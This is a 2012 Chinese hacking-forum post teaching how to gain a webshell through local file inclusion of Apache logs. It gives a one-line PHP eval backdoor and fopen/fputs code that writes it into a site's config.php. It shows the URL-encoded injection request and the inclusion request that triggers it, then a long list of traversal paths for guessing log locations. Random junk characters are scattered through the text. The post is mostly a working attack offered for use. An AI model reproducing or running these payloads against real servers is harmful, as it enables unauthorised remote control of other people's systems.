找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2366|回复: 0
打印 上一主题 下一主题

php包含apache日志写马

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:27:40 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
因为上面那个很不实际,我在测试中发现日志动不动就是几十兆,那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用,也比上面那种慢的要死好很多。 4 A. N+ B  m0 V% U/ C" i7 z
' m. ~$ P0 R9 J2 O  Q
比如还是这句一句话木马   O; c( E4 t$ w5 ?8 c) t
<?eval($_POST[cmd]);?>   
+ i+ p: j$ e1 T  X8 Z! m
4 A: K% ]/ M' ~: y到这里你也许就想到了,这是个很不错的办法。接着看,如何写入就成了个问题,用这句,
7 w* r9 [7 i; L6 C2 k, k& Ifopen打开/home/virtual/www.xxx.com/forum/config.php这个文件,然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是 % x: B9 C; g8 `& N

/ S7 B8 [. C, _, V' B* w6 V<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>"); . i  U7 {" o: r5 V1 w8 T
fclose($fp);?>   //在config.php里写入一句木马语句
/ G, A/ l4 {- N% [# x/ n! U# Z3 d0 ?6 q* D! o
我们提交这句,再让Apache记录到错误日志里,再包含就成功写入shell,记得一定要转换成URL格式才成功。
! }& V# }- ^. ?* e( E1 O转换为 % T  K! y4 H' e8 x; W' m8 a7 _  ?
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
4 \) I# P5 r4 X$ j  }config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp 5 f: \" h9 ]5 Q
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
1 p- K4 Y" S- }+ G% Y+ qfclose%28%24fp%29%3B%3F%3E   [% i6 [% f* |# R
我们提交
& c& T/ F% ]! G5 }http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
1 ?* {5 A; O, ]3 @%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
; [, e5 f7 @, i7 n7 a! Q%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B % Y  d# g; q5 |
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E * d8 e* M. C) X4 f6 B8 D* `

1 l& Q3 W* d0 W* R6 s这样就错误日志里就记录下了这行写入webshell的代码。 * I9 S" c1 V2 a8 G( q  ?/ x+ q8 S% U7 `
我们再来包含日志,提交 5 o* N/ G/ w2 A. P! x* N  P) y- f
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log 8 q4 i$ Y' N+ O7 U

1 S" l. Z! j8 m" n这样webshell就写入成功了,config.php里就写入一句木马语句
% `# i# k2 U# L6 x% g! jOK. 7 N0 L$ o5 E9 P7 }" J0 E. q
http://www.xxx.com/forum/config.php这个就成了我们的webshell 6 s0 m+ d; ]/ o6 ^4 `
直接用lanker的客户端一连,主机就是你的了。
0 o) L0 J6 w. R, \4 |$ W8 W0 E' s& q4 V# R* H9 J, m! \+ e
PS:上面讲的,前提是文件夹权限必须可写 ,一定要-rwxrwxrwx(777)才能继续,这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用
1 b4 Z4 Y8 ?. i8 Q: J; E# R
( e. G) f0 |! _. F9 q2 T7 C其他的日志路径,你可以去猜,也可以参照这里。
1 R8 l- B& E* L8 O9 T, C5 o. G) X( e../../../../../../../../../../var/log/httpd/access_log 9 A8 [$ F) O- L, t! V: g
../../../../../../../../../../var/log/httpd/error_log 1 g& P* Z! c5 i9 D8 e! E9 j3 E
../apache/logs/error.log
1 t& Z' z- K  K, g2 o$ G! g. Z../apache/logs/access.log
/ o  s; d  T( ^# P" P../../apache/logs/error.log
7 ?6 j( v( S8 t9 V../../apache/logs/access.log % {4 F: R* i; c
../../../apache/logs/error.log . f; K. J. W' ?. `; v
../../../apache/logs/access.log % R; n" b, D( l
../../../../../../../../../../etc/httpd/logs/acces_log 4 M, w2 f$ ~3 Y+ r6 Q/ `( v- e
../../../../../../../../../../etc/httpd/logs/acces.log
8 l9 e. P6 P  K4 `8 |3 P" c* T../../../../../../../../../../etc/httpd/logs/error_log
; N( L7 O* v* z) Q& k9 `../../../../../../../../../../etc/httpd/logs/error.log ' A! V1 E0 n3 q( K2 ^( a( M
../../../../../../../../../../var/www/logs/access_log
1 D- m* w" f5 `+ G1 [" R../../../../../../../../../../var/www/logs/access.log
  A: r+ m0 F2 y2 C% g4 O& g% ]../../../../../../../../../../usr/local/apache/logs/access_log * U; r2 [5 B0 I- X
../../../../../../../../../../usr/local/apache/logs/access.log * c/ c& O1 y  ]+ u8 w4 c
../../../../../../../../../../var/log/apache/access_log
/ H+ D9 j8 `6 H' U1 o../../../../../../../../../../var/log/apache/access.log
# E* A5 w" y/ ], }  P- I( `../../../../../../../../../../var/log/access_log : e+ o/ A' S: \* W
../../../../../../../../../../var/www/logs/error_log : j! I! e1 C6 d3 O1 S: k1 k
../../../../../../../../../../var/www/logs/error.log   W+ k2 |/ L1 o9 @3 E' n$ z
../../../../../../../../../../usr/local/apache/logs/error_log ; k( p+ o; ~/ o, q: g2 [+ F" v
../../../../../../../../../../usr/local/apache/logs/error.log ' ]1 I; ?& j) A' }2 q7 w; V# x9 T
../../../../../../../../../../var/log/apache/error_log
' z$ V0 n3 r3 o1 j../../../../../../../../../../var/log/apache/error.log % O9 ~0 ^" ?( u% D+ Y
../../../../../../../../../../var/log/access_log
0 h1 S; k! u5 w+ I../../../../../../../../../../var/log/error_log $ `4 }9 X. w: K
/var/log/httpd/access_log      
. n( a$ `: o7 `+ A) a  s* B" x/var/log/httpd/error_log     " p4 s' y" r9 U7 b/ `* o
../apache/logs/error.log     7 m  {3 ]: \1 S  u# h1 C& |2 Y- n
../apache/logs/access.log
+ ]2 f" D- q" P' s/ t9 U8 _% W../../apache/logs/error.log . _! c2 K% N( W: ^6 @; \- u, x
../../apache/logs/access.log
% n# m6 A. @! S../../../apache/logs/error.log
8 ?5 s; x' C9 L../../../apache/logs/access.log
: o: q: j6 W$ U  {! M/etc/httpd/logs/acces_log
6 t5 m/ y. l- ?  N( L" A  z1 y) W6 ]/etc/httpd/logs/acces.log
; \1 A% x  ], n! E, Y) H9 @0 w/etc/httpd/logs/error_log
$ L' e' `/ e" q3 J2 z# E4 ]/etc/httpd/logs/error.log
. M' J$ T3 U7 B1 j8 s/var/www/logs/access_log 5 o( w& L) x' F" `& a8 D. K
/var/www/logs/access.log 0 Z- A  J: i% p. E$ v& y; L
/usr/local/apache/logs/access_log 4 X! \. g, K3 v0 ^. T8 L
/usr/local/apache/logs/access.log ! f& B+ }8 q4 I9 x- w- x6 I
/var/log/apache/access_log ' W6 y8 c6 D& z
/var/log/apache/access.log
/ W+ ^8 I* t5 U/var/log/access_log : F" F, z& n# w  n- e6 V* Y
/var/www/logs/error_log + ?9 T8 x( [2 @4 d1 q2 g* u
/var/www/logs/error.log
" s; J; _! ?6 j( ]/usr/local/apache/logs/error_log
- i1 Q- J$ k( |! o/usr/local/apache/logs/error.log * D' B. @. }9 i1 l. h
/var/log/apache/error_log
( }' {4 d& s6 q' W+ ^/var/log/apache/error.log
4 J/ A5 ^" I6 G/ f/var/log/access_log - e) s1 e/ _3 @* z9 E
/var/log/error_log
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表